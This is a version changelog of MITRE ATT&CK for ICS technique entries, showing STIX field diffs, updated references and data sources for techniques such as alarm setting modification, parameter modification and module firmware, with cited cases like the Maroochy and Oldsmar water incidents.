| external_references[2]['description'] | Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019. | Michael J. Assante and Robert M. Lee Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 The Industrial Control System Cyber Kill Chain Retrieved. 2019/11/04 |
| external_references[3]['source_name'] | Reference - RIoT | Tyson Macaulay |
| external_references[3]['description'] | Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019. | Tyson Macaulay Michael J. Assante and Robert M. Lee Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 The Industrial Control System Cyber Kill Chain Retrieved. 2019/11/04 RIoT Control: Understanding and Managing Risks and the Internet of Things Retrieved. 2019/11/04 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Field Controller/RTU/PLC/IED |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.947000+00:00 |
| description | Adversaries may use masquerading to disguise a malicious application or executable as another file, to avoid operator and engineer suspicion. Possible disguises of these masquerading files can include commonly found programs, expected vendor executables and configuration files, and other commonplace application and naming conventions. By impersonating expected and vendor-relevant files and applications, operators and engineers may not notice the presence of the underlying malicious content and possibly end up running those masquerading as legitimate functions. Applications and other files commonly found on Windows systems or in engineering workstations have been impersonated before. This can be as simple as renaming a file to effectively disguise it in the ICS environment. | Adversaries may use masquerading to disguise a malicious application or executable as another file, to avoid operator and engineer suspicion. Possible disguises of these masquerading files can include commonly found programs, expected vendor executables and configuration files, and other commonplace application and naming conventions. By impersonating expected and vendor-relevant files and applications, operators and engineers may not notice the presence of the underlying malicious content and possibly end up running those masquerading as legitimate functions. Applications and other files commonly found on Windows systems or in engineering workstations have been impersonated before. This can be as simple as renaming a file to effectively disguise it in the ICS environment. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T849 | https://attack.mitre.org/techniques/T0849 |
| x_mitre_data_sources[0] | File Monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | File: File Metadata |
| x_mitre_data_sources[2] | Binary file metadata | File: File Modification |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Scheduled Job: Scheduled Job Metadata | |
| x_mitre_data_sources | Scheduled Job: Scheduled Job Modification | |
| x_mitre_data_sources | Service: Service Creation | |
| x_mitre_data_sources | Service: Service Metadata |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impair-process-control'} | |
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify alarm settings to prevent alerts that | t | 1 | Adversaries may modify alarm settings to prevent alerts that |
| > | may inform operators of their presence or to prevent respon | > | may inform operators of their presence or to prevent respon | ||
| > | ses to dangerous and unintended scenarios. Reporting message | > | ses to dangerous and unintended scenarios. Reporting message | ||
| > | s are a standard part of data acquisition in control systems | > | s are a standard part of data acquisition in control systems | ||
| > | . Reporting messages are used as a way to transmit system st | > | . Reporting messages are used as a way to transmit system st | ||
| > | ate information and acknowledgements that specific actions h | > | ate information and acknowledgements that specific actions h | ||
| > | ave occurred. These messages provide vital information for t | > | ave occurred. These messages provide vital information for t | ||
| > | he management of a physical process, and keep operators, eng | > | he management of a physical process, and keep operators, eng | ||
| > | ineers, and administrators aware of the state of system devi | > | ineers, and administrators aware of the state of system devi | ||
| > | ces and physical processes. If an adversary is able to chan | > | ces and physical processes. If an adversary is able to chan | ||
| > | ge the reporting settings, certain events could be prevented | > | ge the reporting settings, certain events could be prevented | ||
| > | from being reported. This type of modification can also pre | > | from being reported. This type of modification can also pre | ||
| > | vent operators or devices from performing actions to keep th | > | vent operators or devices from performing actions to keep th | ||
| > | e system in a safe state. If critical reporting messages can | > | e system in a safe state. If critical reporting messages can | ||
| > | not trigger these actions then a Impact could occur. In ICS | > | not trigger these actions then a [[Impact]] could occur. In | ||
| > | environments, the adversary may have to use <span class="sm | > | ICS environments, the adversary may have to use [Alarm Supp | ||
| > | w-format list-format "><span class="smw-row"><span class="sm | > | ression](https://attack.mitre.org/techniques/T0878) or conte | ||
| > | w-field"><span class="smw-value">Alarm Suppression</span></s | > | nd with multiple alarms and/or alarm propagation to achieve | ||
| > | pan></span></span> or contend with multiple alarms and/or al | > | a specific goal to evade detection or prevent intended respo | ||
| > | arm propagation to achieve a specific goal to evade detectio | > | nses from occurring. (Citation: Jos Wetzels, Marina Krotofil | ||
| > | n or prevent intended responses from occurring. (Citation: | > | 2019) Methods of suppression often rely on modification of | ||
| > | References - Secura - 2019) Methods of suppression often rel | > | alarm settings, such as modifying in memory code to fixed v | ||
| > | y on modification of alarm settings, such as modifying in me | > | alues or tampering with assembly level instruction code. | ||
| > | mory code to fixed values or tampering with assembly level i | > | In the Maroochy Attack, the adversary disabled alarms at fou | ||
| > | nstruction code. In the Maroochy Attack, the adversary di | > | r pumping stations. This caused alarms to not be reported to | ||
| > | sabled alarms at four pumping stations. This caused alarms t | > | the central computer. (Citation: Marshall Abrams July 2008) | ||
| > | o not be reported to the central computer. (Citation: Marooc | ||||
| > | hy - MITRE - 200808) | ||||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.949000+00:00 |
| description | Adversaries may modify alarm settings to prevent alerts that may inform operators of their presence or to prevent responses to dangerous and unintended scenarios. Reporting messages are a standard part of data acquisition in control systems. Reporting messages are used as a way to transmit system state information and acknowledgements that specific actions have occurred. These messages provide vital information for the management of a physical process, and keep operators, engineers, and administrators aware of the state of system devices and physical processes. If an adversary is able to change the reporting settings, certain events could be prevented from being reported. This type of modification can also prevent operators or devices from performing actions to keep the system in a safe state. If critical reporting messages cannot trigger these actions then a Impact could occur. In ICS environments, the adversary may have to use Alarm Suppression or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring. (Citation: References - Secura - 2019) Methods of suppression often rely on modification of alarm settings, such as modifying in memory code to fixed values or tampering with assembly level instruction code. In the Maroochy Attack, the adversary disabled alarms at four pumping stations. This caused alarms to not be reported to the central computer. (Citation: Maroochy - MITRE - 200808) | Adversaries may modify alarm settings to prevent alerts that may inform operators of their presence or to prevent responses to dangerous and unintended scenarios. Reporting messages are a standard part of data acquisition in control systems. Reporting messages are used as a way to transmit system state information and acknowledgements that specific actions have occurred. These messages provide vital information for the management of a physical process, and keep operators, engineers, and administrators aware of the state of system devices and physical processes. If an adversary is able to change the reporting settings, certain events could be prevented from being reported. This type of modification can also prevent operators or devices from performing actions to keep the system in a safe state. If critical reporting messages cannot trigger these actions then a [[Impact]] could occur. In ICS environments, the adversary may have to use [Alarm Suppression](https://attack.mitre.org/techniques/T0878) or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring. (Citation: Jos Wetzels, Marina Krotofil 2019) Methods of suppression often rely on modification of alarm settings, such as modifying in memory code to fixed values or tampering with assembly level instruction code. In the Maroochy Attack, the adversary disabled alarms at four pumping stations. This caused alarms to not be reported to the central computer. (Citation: Marshall Abrams July 2008) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T838 | https://attack.mitre.org/techniques/T0838 |
| external_references[1]['source_name'] | Maroochy - MITRE - 200808 | Jos Wetzels, Marina Krotofil 2019 |
| external_references[1]['description'] | Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018. | Jos Wetzels, Marina Krotofil 2019 A Diet of Poisoned Fruit: Designing Implants & OT Payloads for ICS Embedded Devices Retrieved. 2019/11/01 |
| external_references[1]['url'] | https://www.mitre.org/sites/default/files/pdf/08%201145.pdf | https://troopers.de/downloads/troopers19/TROOPERS19_NGI_IoT_diet_poisoned_fruit.pdf |
| external_references[2]['source_name'] | References - Secura - 2019 | Marshall Abrams July 2008 |
| external_references[2]['description'] | Jos Wetzels, Marina Krotofil. (2019). A Diet of Poisoned Fruit: Designing Implants & OT Payloads for ICS Embedded Devices. Retrieved November 1, 2019. | Marshall Abrams 2008, July 23 Malicious Control System Cyber Security Attack Case Study Maroochy Water Services, Australia Retrieved. 2018/03/27 |
| external_references[2]['url'] | https://troopers.de/downloads/troopers19/TROOPERS19%20NGI%20IoT%20diet%20poisoned%20fruit.pdf | https://www.mitre.org/sites/default/files/pdf/08_1145.pdf |
| x_mitre_data_sources[0] | Sequential event recorder | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Controller parameters | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Network protocol analysis | Operational Databases: Process History/Live Data |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Device Configuration/Parameters |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Packet capture | |
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify parameters used to instruct industria | t | 1 | Adversaries may modify parameters used to instruct industria |
| > | l control system devices. These devices operate via programs | > | l control system devices. These devices operate via programs | ||
| > | that dictate how and when to perform actions based on such | > | that dictate how and when to perform actions based on such | ||
| > | parameters. Such parameters can determine the extent to whic | > | parameters. Such parameters can determine the extent to whic | ||
| > | h an action is performed and may specify additional options. | > | h an action is performed and may specify additional options. | ||
| > | For example, a program on a control system device dictating | > | For example, a program on a control system device dictating | ||
| > | motor processes may take a parameter defining the total num | > | motor processes may take a parameter defining the total num | ||
| > | ber of seconds to run that motor. An adversary can pote | > | ber of seconds to run that motor. An adversary can po | ||
| > | ntially modify these parameters to produce an outcome outsid | > | tentially modify these parameters to produce an outcome outs | ||
| > | e of what was intended by the operators. By modifying system | > | ide of what was intended by the operators. By modifying syst | ||
| > | and process critical parameters, the adversary may cause Im | > | em and process critical parameters, the adversary may cause | ||
| > | pact to equipment and/or control processes. Modified paramet | > | [Impact](https://attack.mitre.org/tactics/TA0105) to equipme | ||
| > | ers may be turned into dangerous, out-of-bounds, or unexpect | > | nt and/or control processes. Modified parameters may be turn | ||
| > | ed values from typical operations. For example, specifying t | > | ed into dangerous, out-of-bounds, or unexpected values from | ||
| > | hat a process run for more or less time than it should, or d | > | typical operations. For example, specifying that a process r | ||
| > | ictating an unusually high, low, or invalid value as a param | > | un for more or less time than it should, or dictating an unu | ||
| > | eter. In the Maroochy Attack, Vitek Boden gained remote co | > | sually high, low, or invalid value as a parameter. In th | ||
| > | mputer access to the control system and altered data so that | > | e Maroochy Attack, Vitek Boden gained remote computer access | ||
| > | whatever function should have occurred at affected pumping | > | to the control system and altered data so that whatever fun | ||
| > | stations did not occur or occurred in a different way. The s | > | ction should have occurred at affected pumping stations did | ||
| > | oftware program installed in the laptop was one developed by | > | not occur or occurred in a different way. The software progr | ||
| > | Hunter Watertech for its use in changing configurations in | > | am installed in the laptop was one developed by Hunter Water | ||
| > | the PDS computers. This ultimately led to 800,000 liters of | > | tech for its use in changing configurations in the PDS compu | ||
| > | raw sewage being spilled out into the community. (Citation: | > | ters. This ultimately led to 800,000 liters of raw sewage be | ||
| > | Maroochy - MITRE - 200808) | > | ing spilled out into the community. (Citation: Marshall Abra | ||
| > | ms July 2008) In the Oldsmar water treatment attack, adve | ||||
| > | rsaries raised the sodium hydroxide setpoint value from 100 | ||||
| > | part-per-million (ppm) to 11,100 ppm, far beyond normal oper | ||||
| > | ating levels. (Citation: Pinellas County Sheriffs Office Feb | ||||
| > | ruary 2021) | ||||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_detection | ||
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_is_subtechnique | False | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-24 12:09:05.073000+00:00 |
| description | Adversaries may modify parameters used to instruct industrial control system devices. These devices operate via programs that dictate how and when to perform actions based on such parameters. Such parameters can determine the extent to which an action is performed and may specify additional options. For example, a program on a control system device dictating motor processes may take a parameter defining the total number of seconds to run that motor. An adversary can potentially modify these parameters to produce an outcome outside of what was intended by the operators. By modifying system and process critical parameters, the adversary may cause Impact to equipment and/or control processes. Modified parameters may be turned into dangerous, out-of-bounds, or unexpected values from typical operations. For example, specifying that a process run for more or less time than it should, or dictating an unusually high, low, or invalid value as a parameter. In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. (Citation: Maroochy - MITRE - 200808) | Adversaries may modify parameters used to instruct industrial control system devices. These devices operate via programs that dictate how and when to perform actions based on such parameters. Such parameters can determine the extent to which an action is performed and may specify additional options. For example, a program on a control system device dictating motor processes may take a parameter defining the total number of seconds to run that motor. An adversary can potentially modify these parameters to produce an outcome outside of what was intended by the operators. By modifying system and process critical parameters, the adversary may cause [Impact](https://attack.mitre.org/tactics/TA0105) to equipment and/or control processes. Modified parameters may be turned into dangerous, out-of-bounds, or unexpected values from typical operations. For example, specifying that a process run for more or less time than it should, or dictating an unusually high, low, or invalid value as a parameter. In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. (Citation: Marshall Abrams July 2008) In the Oldsmar water treatment attack, adversaries raised the sodium hydroxide setpoint value from 100 part-per-million (ppm) to 11,100 ppm, far beyond normal operating levels. (Citation: Pinellas County Sheriffs Office February 2021) |
| external_references[0]['source_name'] | mitre-ics-attack | mitre-attack |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T836 | https://attack.mitre.org/techniques/T0836 |
| external_references[1]['source_name'] | Maroochy - MITRE - 200808 | Marshall Abrams July 2008 |
| external_references[1]['description'] | Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018. | Marshall Abrams 2008, July 23 Malicious Control System Cyber Security Attack Case Study Maroochy Water Services, Australia Retrieved. 2018/03/27 |
| external_references[1]['url'] | https://www.mitre.org/sites/default/files/pdf/08%201145.pdf | https://www.mitre.org/sites/default/files/pdf/08_1145.pdf |
| x_mitre_data_sources[0] | Sequential event recorder | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Network protocol analysis | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Packet capture | Operational Databases: Device Alarm |
| x_mitre_data_sources[3] | Application logs | Asset: Device Configuration/Parameters |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Pinellas County Sheriffs Office February 2021', 'description': 'Pinellas County Sheriffs Office 2021, February 8 Treatment Plant Intrusion Press Conference Retrieved. 2021/10/08 ', 'url': 'https://www.youtube.com/watch?v=MkXDSOgLQ6M'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may install malicious or vulnerable firmware ont | t | 1 | Adversaries may install malicious or vulnerable firmware ont |
| > | o modular hardware devices. Control system devices often con | > | o modular hardware devices. Control system devices often con | ||
| > | tain modular hardware devices. These devices may have their | > | tain modular hardware devices. These devices may have their | ||
| > | own set of firmware that is separate from the firmware of th | > | own set of firmware that is separate from the firmware of th | ||
| > | e main control system equipment. This technique is similar | > | e main control system equipment. This technique is simil | ||
| > | to <span class="smw-format list-format "><span class="smw-r | > | ar to [System Firmware](https://attack.mitre.org/techniques/ | ||
| > | ow"><span class="smw-field"><span class="smw-value">System F | > | T0857), but is conducted on other system components that may | ||
| > | irmware</span></span></span></span>, but is conducted on oth | > | not have the same capabilities or level of integrity checki | ||
| > | er system components that may not have the same capabilities | > | ng. Although it results in a device re-image, malicious devi | ||
| > | or level of integrity checking. Although it results in a de | > | ce firmware may provide persistent access to remaining devic | ||
| > | vice re-image, malicious device firmware may provide persist | > | es. (Citation: Daniel Peck, Dale Peterson January 2009) | ||
| > | ent access to remaining devices. (Citation: References - Mod | > | An easy point of access for an adversary is the Ethernet car | ||
| > | ule Firmware) An easy point of access for an adversary is t | > | d, which may have its own CPU, RAM, and operating system. Th | ||
| > | he Ethernet card, which may have its own CPU, RAM, and opera | > | e adversary may attack and likely exploit the computer on an | ||
| > | ting system. The adversary may attack and likely exploit the | > | Ethernet card. Exploitation of the Ethernet card computer m | ||
| > | computer on an Ethernet card. Exploitation of the Ethernet | > | ay enable the adversary to accomplish additional attacks, su | ||
| > | card computer may enable the adversary to accomplish additio | > | ch as the following: (Citation: Daniel Peck, Dale Peterson | ||
| > | nal attacks, such as the following: (Citation: References - | > | January 2009) * Delayed Attack - The adversary may stage | ||
| > | Module Firmware) *Delayed Attack - The adversary may stage | > | an attack in advance and choose when to launch it, such as a | ||
| > | an attack in advance and choose when to launch it, such as a | > | t a particularly damaging time. * Brick the Ethernet Card | ||
| > | t a particularly damaging time. *Brick the Ethernet Card - | > | - Malicious firmware may be programmed to result in an Ether | ||
| > | Malicious firmware may be programmed to result in an Etherne | > | net card failure, requiring a factory return. * Random Att | ||
| > | t card failure, requiring a factory return. *"Random" Attac | > | ack or Failure - The adversary may load malicious firmware o | ||
| > | k or Failure - The adversary may load malicious firmware ont | > | nto multiple field devices. Execution of an attack and the t | ||
| > | o multiple field devices. Execution of an attack and the tim | > | ime it occurs is generated by a pseudo-random number generat | ||
| > | e it occurs is generated by a pseudo-random number generator | > | or. * A Field Device Worm - The adversary may choose to i | ||
| > | . *A Field Device Worm - The adversary may choose to ident | > | dentify all field devices of the same model, with the end go | ||
| > | ify all field devices of the same model, with the end goal o | > | al of performing a device-wide compromise. * Attack Other | ||
| > | f performing a device-wide compromise. *Attack Other Cards | > | Cards on the Field Device - Although it is not the most impo | ||
| > | on the Field Device - Although it is not the most important | > | rtant module in a field device, the Ethernet card is most ac | ||
| > | module in a field device, the Ethernet card is most accessib | > | cessible to the adversary and malware. Compromise of the Eth | ||
| > | le to the adversary and malware. Compromise of the Ethernet | > | ernet card may provide a more direct route to compromising o | ||
| > | card may provide a more direct route to compromising other m | > | ther modules, such as the CPU module. | ||
| > | odules, such as the CPU module. | ||||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_detection | ||
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_is_subtechnique | False | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['SYSTEM'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-24 11:51:30.717000+00:00 |
| description | Adversaries may install malicious or vulnerable firmware onto modular hardware devices. Control system devices often contain modular hardware devices. These devices may have their own set of firmware that is separate from the firmware of the main control system equipment. This technique is similar to System Firmware, but is conducted on other system components that may not have the same capabilities or level of integrity checking. Although it results in a device re-image, malicious device firmware may provide persistent access to remaining devices. (Citation: References - Module Firmware) An easy point of access for an adversary is the Ethernet card, which may have its own CPU, RAM, and operating system. The adversary may attack and likely exploit the computer on an Ethernet card. Exploitation of the Ethernet card computer may enable the adversary to accomplish additional attacks, such as the following: (Citation: References - Module Firmware) *Delayed Attack - The adversary may stage an attack in advance and choose when to launch it, such as at a particularly damaging time. *Brick the Ethernet Card - Malicious firmware may be programmed to result in an Ethernet card failure, requiring a factory return. *"Random" Attack or Failure - The adversary may load malicious firmware onto multiple field devices. Execution of an attack and the time it occurs is generated by a pseudo-random number generator. *A Field Device Worm - The adversary may choose to identify all field devices of the same model, with the end goal of performing a device-wide compromise. *Attack Other Cards on the Field Device - Although it is not the most important module in a field device, the Ethernet card is most accessible to the adversary and malware. Compromise of the Ethernet card may provide a more direct route to compromising other modules, such as the CPU module. | Adversaries may install malicious or vulnerable firmware onto modular hardware devices. Control system devices often contain modular hardware devices. These devices may have their own set of firmware that is separate from the firmware of the main control system equipment. This technique is similar to [System Firmware](https://attack.mitre.org/techniques/T0857), but is conducted on other system components that may not have the same capabilities or level of integrity checking. Although it results in a device re-image, malicious device firmware may provide persistent access to remaining devices. (Citation: Daniel Peck, Dale Peterson January 2009) An easy point of access for an adversary is the Ethernet card, which may have its own CPU, RAM, and operating system. The adversary may attack and likely exploit the computer on an Ethernet card. Exploitation of the Ethernet card computer may enable the adversary to accomplish additional attacks, such as the following: (Citation: Daniel Peck, Dale Peterson January 2009) * Delayed Attack - The adversary may stage an attack in advance and choose when to launch it, such as at a particularly damaging time. * Brick the Ethernet Card - Malicious firmware may be programmed to result in an Ethernet card failure, requiring a factory return. * Random Attack or Failure - The adversary may load malicious firmware onto multiple field devices. Execution of an attack and the time it occurs is generated by a pseudo-random number generator. * A Field Device Worm - The adversary may choose to identify all field devices of the same model, with the end goal of performing a device-wide compromise. * Attack Other Cards on the Field Device - Although it is not the most important module in a field device, the Ethernet card is most accessible to the adversary and malware. Compromise of the Ethernet card may provide a more direct route to compromising other modules, such as the CPU module. |
| external_references[0]['source_name'] | mitre-ics-attack | mitre-attack |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T839 | https://attack.mitre.org/techniques/T0839 |
| external_references[1]['source_name'] | References - Module Firmware | Daniel Peck, Dale Peterson January 2009 |
| external_references[1]['description'] | Daniel Peck, Dale Peterson. (2009, January 28). Leveraging Ethernet Card Vulnerabilities in Field Devices. Retrieved December 19, 2017. | Daniel Peck, Dale Peterson 2009, January 28 Leveraging Ethernet Card Vulnerabilities in Field Devices Retrieved. 2017/12/19 |
| external_references[1]['url'] | https://www.researchgate.net/publication/228849043%20Leveraging%20ethernet%20card%20vulnerabilities%20in%20field%20devices | https://www.researchgate.net/publication/228849043_Leveraging_ethernet_card_vulnerabilities_in_field_devices |
| x_mitre_data_sources[0] | Sequential event recorder | Firmware: Firmware Modification |
| x_mitre_data_sources[1] | Network protocol analysis | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[2] | Packet capture | Network Traffic: Network Traffic Flow |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Digital signatures | |
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['Administrator'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.955000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T801 | https://attack.mitre.org/techniques/T0801 |
| x_mitre_data_sources[0] | Controller program | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network device logs | |
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Host network interfaces | |
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may perform network connection enumeration to di | t | 1 | Adversaries may perform network connection enumeration to di |
| > | scover information about device communication patterns. If a | > | scover information about device communication patterns. If a | ||
| > | n adversary can inspect the state of a network connection wi | > | n adversary can inspect the state of a network connection wi | ||
| > | th tools, such as [https://en.wikipedia.org/wiki/Netstat net | > | th tools, such as Netstat(Citation: Netstat), in conjunction | ||
| > | stat], in conjunction with <span class="smw-format list-form | > | with [System Firmware](https://attack.mitre.org/techniques/ | ||
| > | at "><span class="smw-row"><span class="smw-field"><span cla | > | T0857), then they can determine the role of certain devices | ||
| > | ss="smw-value">System Firmware</span></span></span></span>, | > | on the network (Citation: MITRE). The adversary can also us | ||
| > | then they can determine the role of certain devices on the n | > | e [Network Sniffing](https://attack.mitre.org/techniques/T08 | ||
| > | etwork (Citation: EAttack System Network Connections Discov | > | 42) to watch network traffic for details about the source, d | ||
| > | ery). The adversary can also use Network Sniffing to watch n | > | estination, protocol, and content. | ||
| > | etwork traffic for details about the source, destination, pr | ||||
| > | otocol, and content. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_detection | ||
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_is_subtechnique | False | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-23 21:24:49.040000+00:00 |
| description | Adversaries may perform network connection enumeration to discover information about device communication patterns. If an adversary can inspect the state of a network connection with tools, such as [https://en.wikipedia.org/wiki/Netstat netstat], in conjunction with System Firmware, then they can determine the role of certain devices on the network (Citation: EAttack System Network Connections Discovery). The adversary can also use Network Sniffing to watch network traffic for details about the source, destination, protocol, and content. | Adversaries may perform network connection enumeration to discover information about device communication patterns. If an adversary can inspect the state of a network connection with tools, such as Netstat(Citation: Netstat), in conjunction with [System Firmware](https://attack.mitre.org/techniques/T0857), then they can determine the role of certain devices on the network (Citation: MITRE). The adversary can also use [Network Sniffing](https://attack.mitre.org/techniques/T0842) to watch network traffic for details about the source, destination, protocol, and content. |
| external_references[0]['source_name'] | mitre-ics-attack | mitre-attack |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T840 | https://attack.mitre.org/techniques/T0840 |
| external_references[1]['source_name'] | EAttack System Network Connections Discovery | MITRE |
| external_references[1]['description'] | MITRE. (n.d.). System Network Connections Discovery. Retrieved May 31, 2018. | MITRE System Network Connections Discovery Retrieved. 2018/05/31 |
| x_mitre_data_sources[0] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | API monitoring | Process: OS API Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Netstat', 'description': 'Wikipedia. (n.d.). Netstat. Retrieved May 23, 2022.', 'url': 'https://en.wikipedia.org/wiki/Netstat'} | |
| x_mitre_data_sources | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Network sniffing is the practice of using a network interfac | t | 1 | Network sniffing is the practice of using a network interfac |
| > | e on a computer system to monitor or capture information (Ci | > | e on a computer system to monitor or capture information (Ci | ||
| > | tation: EAttack Network Sniffing) regardless of whether it i | > | tation: Enterprise ATT&CK January 2018) regardless of whethe | ||
| > | s the specified destination for the information. An adver | > | r it is the specified destination for the information. An | ||
| > | sary may attempt to sniff the traffic to gain information ab | > | adversary may attempt to sniff the traffic to gain informat | ||
| > | out the target. This information can vary in the level of i | > | ion about the target. This information can vary in the leve | ||
| > | mportance. Relatively unimportant information is general co | > | l of importance. Relatively unimportant information is gene | ||
| > | mmunications to and from machines. Relatively important inf | > | ral communications to and from machines. Relatively importa | ||
| > | ormation would be login information. User credentials may b | > | nt information would be login information. User credentials | ||
| > | e sent over an unencrypted protocol, such as [https://tools. | > | may be sent over an unencrypted protocol, such as [https:// | ||
| > | ietf.org/html/rfc854 Telnet], that can be captured and obtai | > | tools.ietf.org/html/rfc854 Telnet], that can be captured and | ||
| > | ned through network packet analysis. Network sniffing can be | > | obtained through network packet analysis. In addition, ARP | ||
| > | a way to discover information for <span class="smw-format l | > | and Domain Name Service (DNS) poisoning can be used to capt | ||
| > | ist-format "><span class="smw-row"><span class="smw-field">< | > | ure credentials to websites, proxies, and internal systems b | ||
| > | span class="smw-value">Control Device Identification</span>< | > | y redirecting traffic to an adversary. | ||
| > | /span></span></span>. In addition, ARP and Domain Name Ser | ||||
| > | vice (DNS) poisoning can be used to capture credentials to w | ||||
| > | ebsites, proxies, and internal systems by redirecting traffi | ||||
| > | c to an adversary. Detection: Detecting the events leading | ||||
